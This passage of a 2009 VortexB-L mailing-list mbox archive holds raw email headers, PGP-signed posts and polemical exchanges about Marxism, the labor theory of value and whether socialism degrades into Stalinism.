famously defined by Karl Marx. The human mind is easily baffled by multiple iterations and recursion, in fact: just look at religion, and its notorious inability to grasp the true nature of [near-] infinite recursion. They just give up and mystify the whole damned thing: It's a lot easier on the mind that way! ;P - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZweUACgkQXo3EtEYbt3HKPACeNJipOw+Xgo0Vk+gJps7thLT0 DQUAnAmecFUAvERU7cKEVfDNgAg5dGkr =s0ht -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 15:04:33 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OM4VGH003499; Sun, 24 May 2009 15:04:31 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OM4NVr003471; Sun, 24 May 2009 15:04:23 -0700 Resent-Date: Sun, 24 May 2009 15:04:23 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=r1zN3cgZ6NxTG4ib158oWNKh3q7449sML1BBEkBuRXY=; b=Anzl2DaRdvLvivWUTJO+ZCCG2t3bRnt+kbv73zEyF/670ZY7f3TiyyJoP3krB0uYUc dd6g8lgy2LAgKkm3A3cgiLrVHyoOVJuEn4/m7RDEt6hR18qsSWg2AKDBhOGZB75DhBvV FjOm+QhOOrrP4SdK73wZNHoXD+ZGY15NY11vs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=Z7exH2n5b0F7xeuBBAzQ9A31ZMUG0TVXdfrLfwCAk0tdp1d5W2g8AoCovGzKAT48IK 7lm6bhUFGz/K+EJNFODH3e24OgHVYu3Mra7eq5Hwx+KMVW5bDhZVkHN8OuJremVngX1b n5lpW7H7NlkifFjUb+5S7pyN+NOXzPnarT+ss= MIME-Version: 1.0 In-Reply-To: <20090524214304.GE30161@shell.resist.ca> References: <20090523052600.GH15700@shell.resist.ca> <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> <20090524025800.GB4017@shell.resist.ca> <63ffa6020905232016u18017djbd2c047047edfbf0@mail.gmail.com> <20090524035152.GJ4017@shell.resist.ca> <63ffa6020905240939s535def73w83ae5a4065344eaf@mail.gmail.com> <20090524214304.GE30161@shell.resist.ca> From: Charles HOPE Date: Sun, 24 May 2009 18:03:57 -0400 Message-ID: <63ffa6020905241503i3ad8912bk692276c41b9b4f45@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0016e6d32a1bc3ecd3046aafacb4 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4135 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 377 --0016e6d32a1bc3ecd3046aafacb4 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable The math is done by entrepreneurs who try to predict future subjective demand, without needing to take into account any exchange values. On Sun, May 24, 2009 at 5:43 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Equivalences are subjective, they depend on the utility the good has fo= r > the > > buyer in question. A smoker has utility for a pack of cigarettes, and > will > > barter more for it than a non-smoker. The pack of cigarettes doesn't > have > > any innate value. > > On the contrary: this stuff doesn't grow low-hanging, on trees, ripe for > the picking, > for free. Someone has to organize their production and distribution, etc. > And get paid for it. And so how would one do the math there, huh..? > > Utile things must be produced. By labor. But _socially necessary_ labor, = of > course -- > quite often the moving target, indeed. Marxism is nothing if not about th= e > non-linear > nature of dynamik social and natural systems in the present day. > > > - -- grok. > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoZv2gACgkQXo3EtEYbt3FraQCfRSpOqWXrHDfO/QXN0Wtvp67U > IaoAoLfLRjf76a76aa/EJ1CaWmgDSsHK > =3DczHu > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0016e6d32a1bc3ecd3046aafacb4 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable The math is done by entrepreneurs who try to predict future subjective dema= nd, without needing to take into account any exchange values.


On Sun, May 24, 2009 at 5:43 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Equivalences are subjective, they depend on th= e utility the good has for the
> buyer in question. A smoker has utility for a pack of cigarettes, and = will
> barter more for it than a non-smoker. =A0The pack of cigarettes doesn&= #39;t have
> any innate value.

On the contrary: this stuff doesn't grow low-hanging, on trees, r= ipe for the picking,
for free. Someone has to organize their production and distribution, etc. And get paid for it. And so how would one do the math there, huh..?

Utile things must be produced. By labor. But _socially necessary_ labor, of= course --
quite often the moving target, indeed. Marxism is nothing if not about the = non-linear
nature of dynamik social and natural systems in the present day.


- -- grok.





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoZv2gACgkQXo3EtEYbt3FraQCfRSpOqWXrHDfO/QXN0Wtvp67U
IaoAoLfLRjf76a76aa/EJ1CaWmgDSsHK
=3DczHu
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0016e6d32a1bc3ecd3046aafacb4-- From vortexb-l-request@eskimo.com Sun May 24 15:22:48 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4OMMkcS024605; Sun, 24 May 2009 15:22:46 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4OMMjse024594; Sun, 24 May 2009 15:22:45 -0700 Resent-Date: Sun, 24 May 2009 15:22:45 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 15:22:40 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090524222240.GG30161@shell.resist.ca> Reply-To: grok@resist.ca References: <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> <20090524025800.GB4017@shell.resist.ca> <63ffa6020905232016u18017djbd2c047047edfbf0@mail.gmail.com> <20090524035152.GJ4017@shell.resist.ca> <63ffa6020905240939s535def73w83ae5a4065344eaf@mail.gmail.com> <20090524214304.GE30161@shell.resist.ca> <63ffa6020905241503i3ad8912bk692276c41b9b4f45@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905241503i3ad8912bk692276c41b9b4f45@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Shafaq, Mount Etna, Sagger 1, Su-22U, Rossiya User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <3Ke3GD.A.MAG.1icGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4136 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 378 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > The math is done by entrepreneurs who try to predict future subjective > demand, without needing to take into account any exchange values. Kinda like banksters and financiers create "wealth" -- without actually creating any real wealth, eh? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZyLAACgkQXo3EtEYbt3E6hgCgzEsygMve1bDzfYgiRRirzjnS 1nAAniM29dUFHI2V1gH0t9+/eUJitohl =W/ak -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 15:32:52 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OMWou1010393; Sun, 24 May 2009 15:32:50 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OMWnqO010383; Sun, 24 May 2009 15:32:49 -0700 Resent-Date: Sun, 24 May 2009 15:32:49 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=sz/mWn7iJZdqbfoQFUH+rEntwgaHmwDrl9PKHor5stY=; b=ls/sEPL7nIsLjoyzzu3xyJLD/AgEC1KLBWDotdzekzJi9/KiGKps0O4sI7S9wkyQr4 yWg1XMJTBgHoUGrnj9eDCaAC3qy7r3jj0B6uabPZyTUQ9fXJiM+wpZt7KczFFwpCdssS FNcvvyS1xUvzHjuwSuZhClrlyyOtTU1hiJSqk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=OdO85VB0Vc//Q9H6xfzar1/H/EbVT03PMw5Ly1A0k+GoXZfmU+d+b2XliRDtirVeoq BUyrMipQGFuEeMIiUr3qQkjojQ6W9NPdFxIkOBcjOi3dL4/0MiqkQGdoh++l0QMTw6jZ FAXsTDSLzjlviHfB7I0MHKAIYqR93OWispaGA= MIME-Version: 1.0 In-Reply-To: <20090524222240.GG30161@shell.resist.ca> References: <20090523060453.GA30684@shell.resist.ca> <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> <20090524025800.GB4017@shell.resist.ca> <63ffa6020905232016u18017djbd2c047047edfbf0@mail.gmail.com> <20090524035152.GJ4017@shell.resist.ca> <63ffa6020905240939s535def73w83ae5a4065344eaf@mail.gmail.com> <20090524214304.GE30161@shell.resist.ca> <63ffa6020905241503i3ad8912bk692276c41b9b4f45@mail.gmail.com> <20090524222240.GG30161@shell.resist.ca> From: Charles HOPE Date: Sun, 24 May 2009 18:32:27 -0400 Message-ID: <63ffa6020905241532m4e12df47u313ff95f3b50e3ce@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a717b017bf046ab01293 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4137 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 379 --001636c5a717b017bf046ab01293 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Actually, not at all like that. Do you want to defend the Labor Theory of Value instead of taking random cynical potshots? Would you like to discuss a hypothetical lemonade stand, for instance? On Sun, May 24, 2009 at 6:22 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > The math is done by entrepreneurs who try to predict future subjective > > demand, without needing to take into account any exchange values. > > Kinda like banksters and financiers create "wealth" -- without actually > creating any > real wealth, eh? > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoZyLAACgkQXo3EtEYbt3E6hgCgzEsygMve1bDzfYgiRRirzjnS > 1nAAniM29dUFHI2V1gH0t9+/eUJitohl > =3DW/ak > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a717b017bf046ab01293 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Actually, not at all like that.

Do you want to defend the Labor Theo= ry of Value instead of taking random cynical potshots?=A0 Would you like to= discuss a hypothetical lemonade stand, for instance?



On Sun, May 24, 2009 at 6:22 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> The math is done by entrepreneurs who try to p= redict future subjective
> demand, without needing to take into account any exchange values.

Kinda like banksters and financiers create "wealth" -- with= out actually creating any
real wealth, eh?


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoZyLAACgkQXo3EtEYbt3E6hgCgzEsygMve1bDzfYgiRRirzjnS
1nAAniM29dUFHI2V1gH0t9+/eUJitohl
=3DW/ak
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a717b017bf046ab01293-- From vortexb-l-request@eskimo.com Sun May 24 16:29:29 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4ONTRsP010929; Sun, 24 May 2009 16:29:27 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4ONTQli010925; Sun, 24 May 2009 16:29:26 -0700 Resent-Date: Sun, 24 May 2009 16:29:26 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> Subject: RE: [VoB]:Re: This is VortexB-L... Date: Sun, 24 May 2009 19:29:25 -0400 Message-ID: <33BEBAF830E04AC88800196902DB76A9@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcncNMnepYaEQcaARz+NN7a8aAPLPAANd84g In-Reply-To: <20090524055838.GO4017@shell.resist.ca> Resent-Message-ID: <8nRlMD.A.iqC.WhdGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4138 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 380 Grok, Can you give us an example of a nation where socialism/Marxism/communism did not degrade into Stalinism, Maoism, Pol Potism, etc? Jeff Stalinism is not socialism. But it would take a library of discussion here to get that thru to you. From vortexb-l-request@eskimo.com Sun May 24 17:14:56 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4P0Er5p024015; Sun, 24 May 2009 17:14:53 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4P0EqjA024005; Sun, 24 May 2009 17:14:52 -0700 Resent-Date: Sun, 24 May 2009 17:14:52 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 17:14:39 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090525001439.GH30161@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <33BEBAF830E04AC88800196902DB76A9@REVTEC1> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Shafaq, Mount Etna, Sagger 1, Su-22U, Rossiya User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4139 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 381 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > Grok, > > Can you give us an example of a nation where socialism/Marxism/communism did > not degrade into Stalinism, Maoism, Pol Potism, etc? > > Jeff No I can't. But what does that MEAN, really..? If I'm trying to build a village, say -- but a horde of arsonists comes running over the hill every so often and burns everything to the ground -- does this mean that my 'theory of villages' is wrong/outdated/deluded/superceded/etc..? No it doesn't. And in fact, the capitalists are expert at taking things out of context -- most especially themselves and their criminal activities in the World. Such as their rôle in PRODUCING the "failure¨ of all previous and present attempts at 'building socialism'. And so this is essentially not a legitimate argument to be making here. The question is really: how to overcome capitalist perfidy in creating what we KNOW we can do with the socialist organization of society. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZ4u8ACgkQXo3EtEYbt3H+lQCg4oTZhjrR6R3UQ/rn8aS25Idn rtsAoOoz+iMSws78go2KdjOnaOwoFrNB =vjGN -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 18:01:21 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P11Isw004731; Sun, 24 May 2009 18:01:18 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P11HNv004713; Sun, 24 May 2009 18:01:18 -0700 Resent-Date: Sun, 24 May 2009 18:01:17 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 18:00:55 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090525010055.GA15548@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Shafaq, Mount Etna, Sagger 1, Su-22U, Rossiya User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4140 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Labor Theory of Value: Now on YouTube!! Status: O X-Status: X-Keywords: X-UID: 382 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey, guess what: I can Google TOO! And look what I found re the Labor Theory of Value... The Labor Theory of Value 1 of 2: The Labor Theory of Value 2 of 2: Marginalized utensils: please take note of references to yourselves. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZ7ccACgkQXo3EtEYbt3GkTACgrwhE3/LtFeyo29cHdRJ5M8Tm N4kAoN7f0nY/n6Tq414D4JSFYOogVATI =hrFa -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 18:15:55 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P1FsgW008983; Sun, 24 May 2009 18:15:54 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P1FnKj008959; Sun, 24 May 2009 18:15:49 -0700 Resent-Date: Sun, 24 May 2009 18:15:49 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 18:15:43 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Heinlein's New Book Message-ID: <20090525011543.GB15548@shell.resist.ca> Reply-To: grok@resist.ca References: <20090524202630.GB30161@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: TRW, hostage, Assembly of Experts, LABLINK, SA-10d User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4141 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 383 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > Why not leave your politix to yourself and just join us in science > discussions. You're not going to change anyone with your methods > anyway. Aside from the fact that vortex-l is lousy with politix -- just not this kind -- REALITY has a way of wunnerfully clearing the mind, eh..? You will find that all roads to the future that do not lead to oblivion lead past the position I have staked out. Not my problem that too-comfortable people don't want to understand that. They will, however. And I _already_ contribute to vortex-l, fella. But you have to want to look for that, see..? > You've already earned the right to tell us all "told you so" when > there is a feces/fan interface. Let's get it straight right now that it was not me who chose to escalate this thing. Just like the capitalists are not innocent for the present and past World situation, as they continually and relentlessly pretend and contend. What I haven't done is shy away from this 'debate'. > Terry > > PS I ate at a place that had a 100 mark note from Germany in the 30s > embedded in the table top. When my wife wanted to know how much it > was worth, I told her "about a penny." Hold onto those Confederate dollars. They'll be worth a roll of toilet paper someday, at least. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZ8T8ACgkQXo3EtEYbt3E/BwCfZYm5+s491t0Xf4xbK2dG1etO vuQAnRT40L4aABwhys4mB72NAqZFjk9N =auhF -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 18:31:53 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P1VpYr011406; Sun, 24 May 2009 18:31:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P1Vohp011397; Sun, 24 May 2009 18:31:50 -0700 Resent-Date: Sun, 24 May 2009 18:31:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 18:31:44 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090525013144.GC15548@shell.resist.ca> Reply-To: grok@resist.ca References: <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> <20090524025800.GB4017@shell.resist.ca> <63ffa6020905232016u18017djbd2c047047edfbf0@mail.gmail.com> <20090524035152.GJ4017@shell.resist.ca> <63ffa6020905240939s535def73w83ae5a4065344eaf@mail.gmail.com> <20090524214304.GE30161@shell.resist.ca> <63ffa6020905241503i3ad8912bk692276c41b9b4f45@mail.gmail.com> <20090524222240.GG30161@shell.resist.ca> <63ffa6020905241532m4e12df47u313ff95f3b50e3ce@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905241532m4e12df47u313ff95f3b50e3ce@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: TRW, hostage, Assembly of Experts, LABLINK, SA-10d User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4142 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:GOOD GRIEF: Lucy's Lemonade/Psychiatry Stand & Charlie Brown's Marginal Utility Status: O X-Status: X-Keywords: X-UID: 384 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Actually, not at all like that. Well ya, kinda pretty much EXACTLY like that. But define 'exactly'. > Do you want to defend the Labor Theory of Value instead of taking random > cynical potshots? Would you like to discuss a hypothetical lemonade stand, > for instance? Sure. Why not. SHOOT, Lucy. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZ9QAACgkQXo3EtEYbt3E7OACfbEz/2HHWlFZ/7IA1nvx7Vvsj 2M4Anj5ih5pthdeRAT5tgChV2gYR+2/6 =+qmb -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 18:39:23 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P1dEqR012554; Sun, 24 May 2009 18:39:14 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P1dEGA012547; Sun, 24 May 2009 18:39:14 -0700 Resent-Date: Sun, 24 May 2009 18:39:14 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=97LVyV/Fz8e5jzIBc+9pZnmZUnFjbX/EGk1//7pgb+4=; b=jlFaPoyj5NDg4kTkQh2vIYscDr0G6arkV+t5TsExYitlWKyASdTDjI/0S1noReAIwZ 